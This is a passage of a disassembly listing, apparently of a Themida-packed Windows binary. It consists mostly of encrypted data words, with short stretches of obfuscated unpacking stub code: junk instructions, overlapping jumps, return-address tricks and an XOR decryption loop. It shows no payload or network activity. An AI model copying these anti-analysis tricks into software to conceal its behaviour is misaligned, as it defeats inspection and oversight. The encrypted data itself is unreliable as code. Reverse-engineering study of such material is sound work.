		dd 0A114BFD9h, 0E7381460h, 47B0D808h, 0F717DB78h, 5B200AC5h
		dd 0AC328C0h, 17F3DDCBh, 3FE1A8D3h, 1F7CC43Ch, 9FF9AC6Bh
		dd 35D50EBAh, 4DC8C2BFh, 0D0DAE03Eh, 1546E457h,	47AFFCECh
		dd 0C39F5AC1h, 95B57204h, 0C47C73A6h, 0AA8E7C2Fh, 0C3F3CC21h
		dd 0E8D88385h, 690A25A0h, 0B6EAA1Dh, 0CA988245h, 6E3D3D15h
		dd 47B06C39h, 0F21B40C4h, 0CB47B06Bh, 0C7B4F420h, 268A3E13h
		dd 0A8FB3C43h, 47B06C7Fh, 68F2A556h, 0ACFF4375h, 47B06C83h
		dd 7CFEB15Ah, 5AB67119h, 0E63F7BEh, 6FEE3B7Ch, 5653DB21h
		dd 0B89467E3h, 5B20218Dh, 54A5D562h, 0A881CB5Ch, 0CB0CB1E0h
		dd 2109FC4Fh, 0F161305Ah, 3274848h, 0B0492F58h,	3B150647h
		dd 857E0A4Fh, 3812CF85h, 49386932h, 49CD47B0h, 0A5A56214h
		dd 491A4356h, 9EF347B0h, 1F792CEDh, 57AA600Bh, 0D60EA25h
		dd 3787837Ch, 0CEA3A40Eh, 27127EBFh, 0ADE05A95h, 0AC26241Fh
		dd 0C883C9B3h, 0D215C3D8h, 0DF9245ECh, 0ABD4871Bh, 8247AFC6h
		dd 0F0BBBF99h, 47AFC6D3h, 0D429E18Ah, 0ADC06AA7h, 43F7211Ah
		dd 680DD081h, 9279E126h, 0AFC7567Fh, 897C2F47h,	7DBACCA1h
		dd 3843C713h, 0E7346AF9h, 49715A5Dh, 55BF8C8Eh,	0B0783952h
		dd 3B3FEC47h, 9DF73046h, 0B142092Dh, 3B643734h,	1247B09Bh
		dd 0CC753669h, 36D40DBAh, 0E6C612C5h, 488335A8h, 249F2D0Ch
		dd 97466F53h, 23974AC6h, 7BFF4901h, 0AAF582E7h,	0D239211Ah
		dd 6AF2351Fh, 3D3CFBF5h, 5F9FEC4Eh, 69F45200h, 0E28753BDh
		dd 6BAE1CD5h, 0EF65E522h, 8EDD1DEBh, 32197802h,	3F6CEE9Dh
		dd 46DF2B12h, 17D33535h, 234C1F93h, 0FA46DF4Bh,	103AF587h
		dd 0B1C782Bh, 3CFC2D5Fh, 3C48BEEh, 0A3AAD1C9h, 0FFD07EB8h
		dd 0D694BDEEh, 82693BFBh, 9BFE1CCFh, 5C1DA0F1h,	0BF4A5147h
		dd 0CCBF728Fh, 0C09E2A90h, 6D032714h, 4FAh, 2B9F5863h
		dd 0B367A0D6h, 3FEB2C5Eh, 0BA70A9DAh, 4F63147h
		dd 0FB8DF7EBh, 40774A00h, 0C9FED387h, 55675A10h, 5723209Ah
		dd 0F4C0DB04h, 0C7C7B23Bh, 86A4A2A6h, 0FCC881D5h, 1B3FEC3Ch
		dd 0FC896490h, 0FB67983Bh, 95F650EDh, 99584Dh, 7F440000h
		dd 46DFAB82h, 0FB8028BCh, 0F204E5C1h, 0C6DA754h, 1DD7837Ch
		dd 1D4EEC62h, 46DF2AECh, 90497C11h, 5357818Ah, 0BDCFA2A8h
		dd 0A35A8842h, 0B4C49539h, 0B96CDF7Bh, 538C3C91h, 5E0D2DE0h
		dd 46DF2B2Dh, 0CBAFABD0h, 42EF8F42h, 4D1E1216h,	46DEE624h
		dd 0BB5F12F9h, 0DEEFB2C6h, 5F12F961h, 808679EBh, 0E5E4F1BAh
		dd 0A5B946DEh, 0DEE5CDF6h, 8FBA046h, 266C9902h,	0E75C46DFh
		dd 8589447Bh, 3542D6A5h, 7D693077h, 0F420934Ch,	642A3764h
		dd 0D8C346DFh, 0D3EC62h, 0A6B80000h, 0D586A4A2h, 3CFC8D29h
		dd 9EF31704h, 7F0C2EEFh, 5364B53Fh, 54877496h, 715B6AE6h
		dd 0ABA55B89h, 40A7DC8Fh, 95863BFCh, 2E7DF175h,	3BFC4105h
		dd 0C6D933D8h, 44FE0504h, 48D20BBAh, 62E82355h,	4E807F0Fh
		dd 0BE6D0BD7h, 720BDD81h, 76B26A41h, 7Dh, 0A6A8A626h, 0D449F784h
		dd 0DD078884h, 0C0ECBFCh, 5605D53Fh, 46DF7E2Dh,	0DD3EABD0h
		dd 5E88D3F1h, 0C5453672h, 0AE1CDDE0h, 0FA40CA84h, 0DF6954B1h
		dd 46150946h, 46DF691Dh, 0B2580BF0h, 2C854D3Eh,	6897052Ch
		dd 7DCEFB2Ch, 0B8B246DFh, 73DDB2D3h, 8F55884Fh,	0BF568298h
		dd 5E423C33h, 9D6EEC2Dh, 0FE5B002Ah, 5F46DF76h,	0FE682B2Ch
		dd 8E3E75E1h, 0B509A4Dh, 46DF5BE2h, 0AD1DD0BBh,	0C803495Dh
		dd 0E25D6F42h, 6E97C458h, 4746DFABh, 0A2807854h, 0D19AA0A6h
		dd 3CFCC87Dh, 12CDFD10h, 0C3F0BB5Fh, 393BFC85h,	0F5324439h
		dd 0A1CA9155h, 743BFC86h, 4DF8D487h, 0F13EC7E1h, 59324D95h
		dd 0B6000000h, 41302EC5h, 2CD8F399h, 0F2E615Eh,	0AA2F6247h
		dd 9C0345FDh, 0A6AAFAD6h, 0E386A4A2h, 3A3E1ADDh, 0FC94C171h
		dd 4F71943Ch, 0C1B46D1Ah, 1CBFF259h, 0F54DCFAFh, 0FEADAD60h
		dd 3BFBDFD1h, 7B62B0Fh,	9DF744C6h, 5DEAFE60h, 614D951Bh
		dd 9BBF780Ch, 0D5A264B0h, 0D2000000h, 5E87D4A8h, 3746DFABh
		dd 9B210844h, 0B1C7BAA0h, 0CBF1D476h, 5B72A10h,	776A8ECAh
		dd 1CD08A45h, 0B9935479h, 0DFA79966h, 7CB7C546h, 0C4DB8DFEh
		dd 9134D80Eh, 0FA8EC347h, 2B523901h, 57C4634h, 0DB59E4B5h
		dd 0E3562DD3h, 0A8CD81A9h, 60EA26E3h, 0D85C9E68h, 3EDC17A5h
		dd 3EFB8CCDh, 0C2E52F1Ch, 3CFC979Eh, 12D08A71h,	214AF056h
		dd 32184510h, 513436E5h, 2B4EEC2Fh, 52B9A166h, 394F8206h
		dd 0CF2682FEh, 0FB1F09E3h, 21945h, 0FE374200h, 4681C90Ch
		dd 0CA0DB194h, 4F883D10h, 0D516A69Bh, 0ECD80A65h, 56AB1FD8h
		dd 0D134E627h, 46BB6FA8h, 201F932h, 0BDFA2348h,	26D33BF4h
		dd 0C40749E0h, 4E893316h, 0CAF49FECh, 7CA4B737h, 0BE8D8D4Ah
		dd 0F13981CBh, 5E87D4A8h, 646DFABh, 0B566B475h,	6FD9915Bh
		dd 94F0A0CBh, 42C73CFCh, 109FC35h, 0A663284Dh, 920C396Ah
		dd 0DD423BFCh, 0C98E3711h, 0C7B44D95h, 0BB79CA26h, 315A01FBh
		dd 43BFBDAh, 0D668A417h, 0DFh, 0BF0349C6h, 0DFAAC3ECh
		dd 3EF19A46h, 0D417B91Ch, 0A0C99216h, 7546DFABh, 2AAE4A86h
		dd 0DCA2D5A1h, 3B7C36Ch, 0E4C711C4h, 46DF9E17h,	0FA3547h
		dd 0A2D2BFCDh, 0A71AE169h, 0DF2921A3h, 9851661Bh, 0CBEFBCBCh
		dd 823CFCB0h, 7E0D2199h, 2B485E01h, 408AC68Ch, 0A4652888h
		dd 58E255A6h, 180F2313h, 11A7DA32h, 0FDAEFAD6h,	65F97Dh
		dd 0AB90BA7Fh, 0D9132F58h, 4A853746h, 7C2F7BC0h, 23973910h
		dd 800A0D58h, 64B7A6FAh, 46D97D3Bh, 0C4B66912h,	0C03CFF81h
		dd 9E326DEh, 0EF61073Bh, 7C000000h, 0E326944Dh,	6BAE1CDBh
		dd 0D72AE027h, 50B565A2h, 0F03FEB2Ch, 35F68602h, 0BC7D0045h
		dd 5C28BCEh, 8F487055h,	0F9A228DBh, 3BF4BCD0h, 49B2F8A5h
		dd 3316C407h, 89EC4E89h, 350604C7h, 491F6FDBh, 6F42C803h
		dd 3A28E25Dh, 3962C83Eh, 3CF68C62h, 66FA600Bh, 1DE32A15h
		dd 2C0E809Bh, 0F4E3567Fh, 107C2F3Bh, 0E2589339h, 38221DAFh
		dd 0EF5B7073h, 7FE32034h, 0A5622B4Eh, 0A4F172h,	2963CD2Eh
		dd 8B7FB8C0h, 48822457h, 32287F17h, 0EC9F3E6h, 0C407492Ch
		dd 7F9BF546h, 39F286FBh, 0D9E12A11h, 0B2C7321Eh, 7D880AF5h
		dd 5A0DC05Ah, 71AADDB0h, 6C3F4E9h, 0DBEAB7C5h, 9ABAF62h
		dd 4870925Ch, 47D3DC8Fh, 0A1436C34h, 7B558DDAh,	0FA8E60C2h
		dd 0C2523901h, 52C06FAAh, 0A49961ABh, 993FDB14h, 0Ah, 5134C80Dh
		dd 9E6DED2Eh, 24972B2h,	5C6C41C9h, 750267E3h, 943B9EBCh
		dd 0A2D2B753h, 0F88CE169h, 15A61B3Fh, 2F5336D4h, 7F0F62E8h
		dd 52B99A80h, 0B951E289h, 1FA92FD1h, 0CCE98149h, 11FA92Fh
		dd 0EA8359CAh, 24148704h, 0E189515Ch, 4C181h, 0E9830000h
		dd 240C8704h, 2404895Ch, 768268h, 241C8900h, 128CBB53h
		dd 0C14B00F3h, 0F38102E3h, 926A811h, 24048153h,	71D46035h
		dd 60352D58h, 835B71D4h, 248904ECh, 24048124h, 4, 4EC815Bh
		dd 89000000h, 4812404h,	1A5A5624h, 8438F37h, 56086B81h
		dd 0FF371A5Ah, 835B2434h, 34FF04C4h, 0C4815824h, 4, 0F88FDCE9h
		dd 3138EFFh, 14F8A24Ch,	7BCAE13Bh
; ---------------------------------------------------------------------------
		pop	ss
		lodsb


loc_6014DA:				; CODE XREF: sub_600652:loc_6006E4j
		mov	eax, 0AEAEF49h
		add	eax, ebp
		jmp	eax
sub_600652	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		mov	dword ptr [ebx], 48666672h
		sub	[esi-18h], cl
		inc	ebx
		xchg	esp, [ebx+edx*8+22h]
		jo	short near ptr loc_6014F5+2
		and	esi, ecx


loc_6014F5:				; CODE XREF: Themida_:006014F1j
		sub	esp, [eax+ebx*8+1Ah]
		mov	[eax], eax
		popa
		inc	ebx
		and	ch, [eax+25698DB1h]
		adc	al, 0DDh
		or	eax, 324040C8h
		mov	esp, 0CA65462Dh
		daa
		jnp	short loc_60153A
		dec	eax
		pop	ds
		cld
		pop	edx
		sub	[ecx], bh
		mov	eax, 987ACB7Ah
		jnb	short loc_60155C
		xchg	ah, [ebx+2Dh]
		or	al, 61h
		retf
; ---------------------------------------------------------------------------
		dw 826Eh
		db 5Fh,	80h, 6Bh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_6015BD


loc_60152B:				; CODE XREF: sub_6015BD-5Cj
		call	near ptr loc_601543+1
		jecxz	short near ptr dword_600F30+5A5h
		push	ds
		and	[ebp+edi*8-48h], ch
		push	ds
		scasd
		pop	edi


loc_60153A:				; CODE XREF: Themida_:00601511j
		daa
		mov	edx, 0A4F41CA7h
		inc	esp
		das


loc_601543:				; CODE XREF: sub_6015BD:loc_60152Bp
		mov	ah, 0B3h
		icebp
		pop	eax
		add	eax, 5961h
		mov	cx, si
		xor	edi, edi


loc_601552:				; CODE XREF: sub_6015BD+13j
		mov	edx, [eax+edi]
		clc
		xor	edx, 44BDE440h


loc_60155C:				; CODE XREF: Themida_:0060151Ej
		call	sub_60156B
		jno	short loc_60152B
		enter	6649h, 0CAh
; END OF FUNCTION CHUNK	FOR sub_6015BD
; ---------------------------------------------------------------------------
		db 0DAh
		db 0F0h, 0BBh, 0C2h

; =============== S U B	R O U T	I N E =======================================



sub_60156B	proc near		; CODE XREF: sub_6015BD:loc_60155Cp
		mov	ch, 47h
		pop	ebx
		xor	edx, 3A7AF40Dh
		pusha
		call	near ptr loc_601588+1
		adc	ecx, [edi+11h]
		inc	ebp
		mov	ds:3FB57158h, eax
		mov	ecx, 0F59C5DC6h


loc_601588:				; CODE XREF: sub_60156B+Ap
		db	64h
		pusha
sub_60156B	endp ; sp-analysis failed

		popa
		pop	eax
		popa
		sub	edx, 22F687C7h
		stc
		mov	[eax+edi], edx
		jmp	loc_6015A5
; ---------------------------------------------------------------------------
		db 84h
; ---------------------------------------------------------------------------


loc_60159D:				; CODE XREF: Themida_:006015ADj
		sub	edi, [esi]
		imul	esp, [ecx+48h],	-77h
		fild	qword ptr [edi]


loc_6015A5:				; CODE XREF: Themida_:00601597j
		call	sub_6015BD
		sbb	eax, esi
		pop	edi
		jz	short loc_60159D
; ---------------------------------------------------------------------------
		db 62h
		dd 6C6722EAh, 249282DAh, 0E0366DD2h
; ---------------------------------------------------------------------------
		push	cs

; =============== S U B	R O U T	I N E =======================================



sub_6015BD	proc near		; CODE XREF: Themida_:loc_6015A5p

; FUNCTION CHUNK AT 0060152B SIZE 0000003C BYTES

		push	eax
		mov	bx, 611Bh
		pop	ebx
		pop	ecx
		sub	edi, 4
		mov	si, ax
		cmp	edi, 0FFFFA748h
		jnz	loc_601552
		jge	loc_6015DD
		stc


loc_6015DD:				; CODE XREF: sub_6015BD+19j
		lea	ecx, [ebp+0AEAF1C2h]
		jl	$+6
		mov	[ebp+0AE31479h], ecx
		push	0
		push	esi
		call	sub_6015FA
		and	[esi-3Dh], bl
sub_6015BD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_6015FA	proc near		; CODE XREF: sub_6015BD+35p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 19h
		inc	esi
		push	esi
		retn
sub_6015FA	endp

; ---------------------------------------------------------------------------
		dw 65F8h
; ---------------------------------------------------------------------------
		and	[ecx], ebx
		or	byte ptr [edi],	0C7h
		test	ecx, ecx
		push	es
		jecxz	short near ptr loc_60161D+3
		xor	[eax+0], ah
		add	[edx+0], ch
		push	esi


loc_60161D:				; CODE XREF: Themida_:00601614j
		call	sub_601625
		and	[esi-3Dh], bl	; CODE XREF: Themida_:loc_601696j

; =============== S U B	R O U T	I N E =======================================



sub_601625	proc near		; CODE XREF: Themida_:loc_60161Dp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_601625	endp

; ---------------------------------------------------------------------------
		dec	edx
		mov	[ebp+0AE3219Dh], ebx
		mov	dword ptr [ebp+0AE30069h], 0
		push	0
		push	edx
		call	sub_601651
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_601651	proc near		; CODE XREF: Themida_:00601649p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ch
		inc	edx
		push	edx
		retn
sub_601651	endp

; ---------------------------------------------------------------------------
		mov	cl, 0E8h
		jz	short loc_601696
		xor	[edi+edi*4+0Ch], eax
		aaa
		add	esi, [ebp+0AE32151h]
		push	dword ptr [ebp+0AE305CDh]
		push	0
		push	ebp
		call	sub_601681
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_601681	proc near		; CODE XREF: Themida_:00601679p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_601681	endp

; ---------------------------------------------------------------------------
		db 0C9h, 89h, 4Eh
		db 66h,	81h
; ---------------------------------------------------------------------------


loc_601696:				; CODE XREF: Themida_:00601663j
		loop	near ptr loc_601622+1
		insb
		call	dword ptr [ebp+0AE326B5h]
		pusha
		sub	eax, 5F4F22CDh
		add	eax, 7F801E2Eh
		popa
		push	0
		call	dword ptr [ebp+0AE31CD1h]
		mov	eax, eax
		jmp	short loc_6016E4
; ---------------------------------------------------------------------------
		db 4Eh,	0DCh, 27h
		dd 0F6247651h, 0A8F66F47h
; ---------------------------------------------------------------------------
		stosd


loc_6016C5:				; CODE XREF: Themida_:006016D5j
		inc	eax
		das
		xor	ch, ch
		dec	ebp
		stosd
		test	dword ptr [esi], 0CD8588A5h
		test	[edx+58h], ah
		setalc
		loopne	loc_6016C5
		push	ss
		jo	short near ptr byte_60174F
		bswap	ebx
		and	eax, 0EA8CB289h
		sub	al, 0A7h
; ---------------------------------------------------------------------------
		db 2Eh
; ---------------------------------------------------------------------------


loc_6016E4:				; CODE XREF: Themida_:006016B7j
		jmp	loc_6017D5
; ---------------------------------------------------------------------------
		align 4
		dd 81063700h, 81CE037Ch, 80C0587Ch, 9010057Ch, 9010ED7Ch
		dd 0F200007Ch, 276h, 5 dup(0)
		dd 80ADA000h, 7Ch, 0Ah dup(0)
		db 3 dup(0)
byte_60174F	db 0			; CODE XREF: Themida_:006016D8j
		dd 16h dup(0)
dword_6017A8	dd 0Ah dup(0)			dd 600h
		db 0
; ---------------------------------------------------------------------------


loc_6017D5:				; CODE XREF: Themida_:loc_6016E4j
		adc	ebp, edi
		sar	byte ptr [ebx+1629EDDAh], cl
		nop
		mov	ds:66883211h, al
		jnz	short loc_601846
		and	ch, ch
		jmp	short near ptr loc_601854+1
; ---------------------------------------------------------------------------
		db 43h,	0E5h, 0A8h
		dd 1F85345Bh, 966FFD32h, 0F67FC98Fh, 0C122238h,	0D5ED4262h
		dd 1562998Ah, 80E3CD32h, 986CC11Fh, 0F0BBD4AFh,	4EB57738h
		dd 98DBC76Ah
; ---------------------------------------------------------------------------
		sub	eax, ecx


loc_60181A:				; CODE XREF: Themida_:00601867j
		insb
		adc	eax, 46360646h
		mov	bl, [ecx-32CDEA9Eh]
		jecxz	short near ptr dword_6017A8
		pop	ds
		shr	dword ptr [eax+ebx*4-51h], 0A5h
		mov	esp, 0B57738F0h
		dec	esi
		push	0FFFFFFB8h
		imul	edx, [eax+15662233h], 0AE3541CAh
		lodsd
		cmpsd
		out	9, al		; DMA controller, 8237A-5.
					; request register bits:
					; 0-1: select channel (00=0; 01=1; 10=2; 11=3)
					; 2: 1=set request bit for channel; 0=reset request
		add	ebx, [eax]


loc_601846:				; CODE XREF: Themida_:006017E3j
		inc	edx
		adc	[ecx+7Ah], ebp
		push	ebx
		mov	bl, ds:3D757A91h
		aaa
		cwde


loc_601853:				; CODE XREF: Themida_:0060186Aj
		cld


loc_601854:				; CODE XREF: Themida_:006017E7j
		cmp	eax, 0C156644h
		push	ss
		loop	loc_60189A
		or	al, 7Ah
		pop	es
		pop	ebp
		mov	ebx, 0F08C4957h
		mov	dl, 3
		jz	short loc_60181A
		lahf
		jnz	short loc_601853
		fcomp	dword ptr [ebx]
		db	66h
		sbb	dh, [esi+321566B2h]
		mov	eax, 541090EBh
		mov	word ptr [edi],	ds
		retf	0B6EEh
; ---------------------------------------------------------------------------
		cld
		xor	al, 88h
		adc	ax, 839Eh
		add	eax, 0EBF0ADD0h
		nop
		pusha
		mov	word ptr [bx], ds
		retf	0EF87h
; ---------------------------------------------------------------------------
		db 12h
		dd 1A664432h
		db 0BAh, 23h
; ---------------------------------------------------------------------------


loc_60189A:				; CODE XREF: Themida_:0060185Aj
		adc	ax, 0ED32h
		cdq
		lds	edx, [edx-12h]
		out	0E6h, eax
		nop
		mov	eax, 22309D69h
		adc	ax, 0D0B9h
		pop	es
		sal	dword ptr [edi+38F67A79h], cl ;	CODE XREF: Themida_:006018E3j
		adc	cl, [edi+66223210h]
		mov	eax, 0FEADA4D7h
		pop	edx
		fcmovu	st, st(6)
		mov	ebp, 78E24AEh
		xor	ah, [edx]
		pop	di
		arpl	[edx-7Bh], dx
		inc	edx
		pop	esi
		bound	ebp, [edx-1Bh]
		das
		stc
		pusha
		setalc
		sub	eax, 34C493D1h
		call	near ptr 4EE98C1Bh
		movsb
		jz	short near ptr loc_6018AF+4
		mov	ebx, 0C11D04D3h
		insb
		cld
		cmp	[ecx], dl
		adc	ax, 0D7C6h
		hlt
; ---------------------------------------------------------------------------
		db 2Ah
		dd 41CF578Eh, 90EB68AFh, 1F80BDC1h, 1AB677CEh, 156646B5h
		dd 9C074232h, 0F66654B7h, 14EE8738h, 0E0664432h, 4C7A7F5h
		dd 15661BD1h, 108F8832h, 0AB664432h, 1B500143h,	99794F4h
		dd 752382D1h, 1575C63Dh, 1B8F2232h, 14661132h, 0E6AF1443h
		dd 9B67C84Dh, 8D1A1CB0h, 156AF889h, 0D7448832h,	72F75B43h
		dd 995C5267h, 7D0728C0h, 9B14E15Bh, 156EC83Dh, 44062232h
		dd 0BADE776Ch, 0A099E9D4h, 1F857577h, 0FD9CA952h, 1566113Bh
		dd 0DD949DFAh, 0C79A1381h, 1577CAC7h, 0AFBD1132h, 9D78F301h
		dd 830178E6h, 0BB4B5FEFh, 4D9A3B50h, 90EBE96Dh,	1F857ECBh
		dd 0FCAEA852h, 1566113Dh, 7CB3D7DFh, 0E720D16Fh, 0E4A1F829h
		dd 74DA3466h, 976958CDh, 1566443Ah, 1564A93Dh, 74061132h
		dd 1370DBBh, 92694ED1h,	1566223Ch, 14B89052h, 942EF0C3h
		dd 624821C2h, 90A0430Ch, 1F850DC3h, 156B6171h, 0A93E4432h
		dd 34C4B548h, 99B74A4Ah, 7DD1EFE1h, 89012F6Ch, 98697152h
		dd 15661132h, 0D3D1876Ch, 50D3BB53h, 0ED6CC103h, 2F9F94BFh
		dd 0EA9382D1h, 1572ADE2h, 0B96B2232h, 6A3EE091h, 4115F669h
		dd 306D195Dh, 0D1F708FBh, 90EF7AFBh, 1F8C79C9h,	156657DBh
		dd 0BB04E832h, 0EF73115Bh, 51AFEFB7h, 0FBF4B8A5h, 0A51D9F42h
		dd 1561943Dh, 91698832h, 15664433h, 0E4E3E4CEh,	416CF22Eh
		dd 7D4FE0CAh, 1A06AA50h, 0DAE6EA8Dh, 0A0997086h, 1F85B977h
		dd 0ECE3C9CEh, 0FC6CC108h, 1566113Ch, 88427B92h, 420AD6A8h
		dd 0A34B977Dh, 0C5993AC5h, 14900852h, 9C07B5B9h, 0FF97DDB7h
		dd 94007138h, 0A64DBAC2h, 90A025A9h, 1F853EC3h,	11EF1E77h
		dd 75668832h, 7D071D62h, 0CF061AF0h, 20D0A852h,	0DBE6CEA2h
		dd 42062565h, 91C79C54h, 0EA07E46Ah, 0F657CD87h, 68E2438h
		dd 0DD662232h, 9993C5EDh, 80E9C085h, 17A368C2h,	4AD51207h
		dd 0E5E68F69h, 188ED182h, 86664432h, 0CBCF6F99h, 69616DE9h
		dd 5362E381h, 743D5681h, 2F9FA7BFh, 1A9A1BD1h, 156689B1h
		dd 0C599B132h, 16E3ABCEh, 0ED6CFBC0h, 370F35B1h, 1A664ED1h
		dd 15676FB7h, 90A0E832h, 1F8594C3h, 0D2ED2477h,	743ED760h
		dd 3518975Ah, 156361C8h, 8B464432h, 0E9DECA27h,	2423A4CDh
		dd 68F82D1h, 1F664432h,	1700B36Eh, 73D5B8EAh, 82D8F6BEh
		dd 0D07D57F4h, 90EB8D35h, 1F852BCBh, 1575023Dh,	0FC064432h
		dd 1566223Bh, 8A4924D9h, 0F57237AEh, 53BCC40Eh,	1AB6DD53h
		dd 156616B2h, 0A269E832h, 743E13F0h, 0E761A7BBh, 1A8F1BD8h
		dd 42668832h, 7485F1BFh, 307280A2h, 0D09B84Eh, 75060230h
		dd 94002552h, 7440F4E4h, 74ACAE3Dh, 9970DF4h, 1A2A4ED1h
		dd 15662EBBh, 13E91E32h, 1A668832h, 156644B6h, 0C5A54A32h
		dd 9E06F114h, 9969E9C5h, 15664422h, 156629DBh, 0F2B43732h
		dd 0BE6E1C3Fh, 0A5891E52h, 242397CDh, 91691BD1h, 15668839h
		dd 0D6DE2252h, 0C7E74476h, 0FC076E6Fh, 1566883Eh, 0F24A6E80h
		dd 0ADCE9F85h, 1725EBD1h, 2F9F0DBFh, 0EA934ED1h, 1577CBE2h
		dd 0ABDD1132h, 0DA440AF8h, 0F2686E36h, 0CD4DFC8Bh, 9C442EEAh
		dd 0FF9483B7h, 7E44B38h, 0FC662232h, 1566113Fh,	4B7F5DBDh
		dd 50BDC947h, 2EF00F27h, 15B3F879h, 44068832h, 156649DBh
		dd 2C777932h, 59773515h, 0AF223E5Ah, 9F3EC894h,	90A043C2h
		dd 1F850DC3h, 180E7160h, 1ADA0ED6h, 156623B1h, 0A099E932h
		dd 1F859373h, 0EDED2252h, 0E3F49854h, 0ECE39C53h, 0FC6C6B08h
		dd 1566443Ch, 0FC9FB3CBh, 0B6D8E3C9h, 0DFAE3B39h, 0C599AB5Eh
		dd 1567A33Dh, 75931132h, 156681DBh, 6C458632h, 77A3EEB8h
		dd 0DFECEF3Dh, 12E30153h, 0E06CAEC0h, 997A7F4h,	75341BD1h
		dd 0CFEDEECAh, 5F2E2C53h, 188F847Eh, 25661132h,	9DD0DC9Eh
		dd 0D8D629CEh, 0BF412DB3h, 0E27A4CDh, 0E00682D1h, 28AFC28Ah
		dd 90EB435Eh, 1F852BCBh, 15669ADBh, 9FBE5932h, 0C5D8ED7h
		dd 0DE4D8EE6h, 1BACDA63h, 0EA7BF375h, 90EFDEE2h, 1F8CE339h
		dd 73AC0352h, 0D3079AB9h, 0F67AD3B7h, 9F694338h, 15668836h
		dd 74E7F752h, 57D2C85Ah, 0D3E771CFh, 9BCBD28h, 156654DBh
		dd 9A93CB32h, 45C9984Ah, 97B810Ah, 7A2975B8h, 0A099439Ch
		dd 1F852077h, 15670F3Dh, 1A9A4432h, 15662FB1h, 94007132h
		dd 1AD90DC2h, 156644BCh, 90EB4332h, 1F852BCBh, 0C5997DCBh
		dd 157DCA3Dh, 0FC062232h, 15661120h, 4754C01h, 0C7B4D7F3h
		dd 6A862FC9h, 90903321h, 0AD34E59h, 0F0E3CD53h,	0E96CC128h
		dd 99794F4h, 1A1182D1h,	156645B6h, 7506DA32h, 74B69A54h
		dd 74940354h, 82CEE75Ah, 1560CBC1h, 4D371132h, 40519E6Dh
		dd 2003F1CDh, 48F28D1h,	0D8661132h, 4ABD8737h, 0AEFC9881h
		dd 0EA2DBADEh, 76663697h, 2F9F0DBFh, 95064ED1h,	0DDE684D0h
		dd 0C599703Dh, 13EE8752h, 1A664432h, 156622B5h,	0DEC1E32h
		dd 0FD668832h, 15664420h, 0A0A3D3B4h, 253D7819h, 4A43C14Bh
		dd 7D9717AFh, 743D60D7h, 331F94BBh, 1D8F82D1h, 1F664432h
		dd 0B2C27EFDh, 1ABC14E4h, 15669AB4h, 19E84B32h,	0FC662232h
		dd 15661135h, 0BC75340Dh, 0D32CD966h, 0F67AD3B7h, 68F4338h
		dd 96668832h, 6B51FDCCh, 0E3848F05h, 17D31377h,	0B0EC10F7h
		dd 20E8C36h, 1AECFF03h,	15661CBDh, 156E6132h, 122C4432h
		dd 1CCD8D18h, 0A099998Ch, 1F85B977h, 0ECE3C9C7h, 0ED6CC108h
		dd 0A606C1CDh, 0F17E33F1h, 750751F9h, 6D96D889h, 0EAD11E3Ch
		dd 68E30153h, 756CA712h, 0B8019952h, 1A071099h,	15668ABFh
		dd 74381232h, 997A7F4h,	75301BD1h, 156698DBh, 206CA532h
		dd 6918C1Ah, 5D5C3548h,	0B9360B8Ah, 0FAE722C6h,	7D073BC8h
		dd 0C1797C0Bh, 0F5ED3652h, 91697915h, 15662231h, 749D9A54h
		dd 156687DBh, 0F98D7932h, 0A7340BDAh, 0B1A9595h, 202792F9h
		dd 3A77F1CDh, 0FD0628D1h, 1566113Dh, 1C0F9174h,	0DCB4CCEEh
		dd 0A7B0B82Bh, 0FCFBE5D1h, 1566883Fh, 0C534121h, 8D7455CCh
		dd 0A4623DB3h, 0F3E7D7A0h, 6E24E35h, 0E6E3AF53h, 1A6CF79Eh
		dd 156684BCh, 13E54B32h, 1A662232h, 156611BDh, 0C5997D32h
		dd 156ECE3Dh, 93692232h, 15661130h, 90EFE952h, 1F8556E3h
		dd 1574CA52h, 25E91132h, 3017E0BFh, 5D6E2F85h, 0BB50A1C4h
		dd 0C96D3FC7h, 4EA50354h, 74ACCF54h, 997A7F4h, 0FC211BD1h
		dd 15668838h, 0A8A643D2h, 4630A8B9h, 95065672h,	0CBE739E5h
		dd 63E2F008h, 51C4A53h,	730690EEh, 3CE460B3h, 0B7C1FE8Bh
		dd 0A099436Ah, 1F852077h, 17EB8752h, 75664432h,	1560CB53h
		dd 3541132h, 8E308A9Eh,	0ECE3C953h, 0FC6CC108h,	15661126h
		dd 7B5FDEC2h, 44977EEDh, 80D2662Ah, 5B43EF65h, 5B192DF5h
		dd 9C9F94CDh, 0F640AFB7h, 14EE1E38h, 0ED668832h, 997C1F4h
		dd 752128D1h, 9FF9A352h, 7D07E9CEh, 9F69F1D0h, 3D94452h
		dd 7431A76Ch, 24233DCDh, 1A8F4ED1h, 0A662232h, 0F86B27C2h
		dd 0EB4EAD7Ah, 0BA181BC2h, 1E8F238Dh, 0DD661132h, 0BC4EEEB5h
		dd 31765891h, 90EBC9EAh, 1F852BCBh, 0E4953352h,	0C4E70060h
		dd 2558EBEAh, 0FCB6EE53h, 15668834h, 7DCDB458h,	90EFAA1Dh
		dd 1F8CE319h, 0E8E34FCBh, 6D6CA71Eh, 75662232h,	0AA69DE81h
		dd 0A8E5E9FCh, 1F85403Fh, 68E22D32h, 7566112Bh,	156681DBh
		dd 74864B32h, 4E59A585h, 0D3078A0Ch, 0F67A79B7h, 1A8F0838h
		dd 59662232h, 4906CCD9h, 4A75C2B5h, 0D6CCEE49h,	138F1C91h
		dd 28661132h, 5BA75A42h
		dd 98F2CD9h, 1A06FBE8h,	156613B9h, 74AD0332h, 0CCD94B52h
		dd 15E72D52h, 0FD661132h, 1566883Ch, 5C53717Bh,	0DD8504FBh
		dd 0D2FCB128h, 743C8A03h, 50D3BB53h, 1A6CC103h,	156610B9h
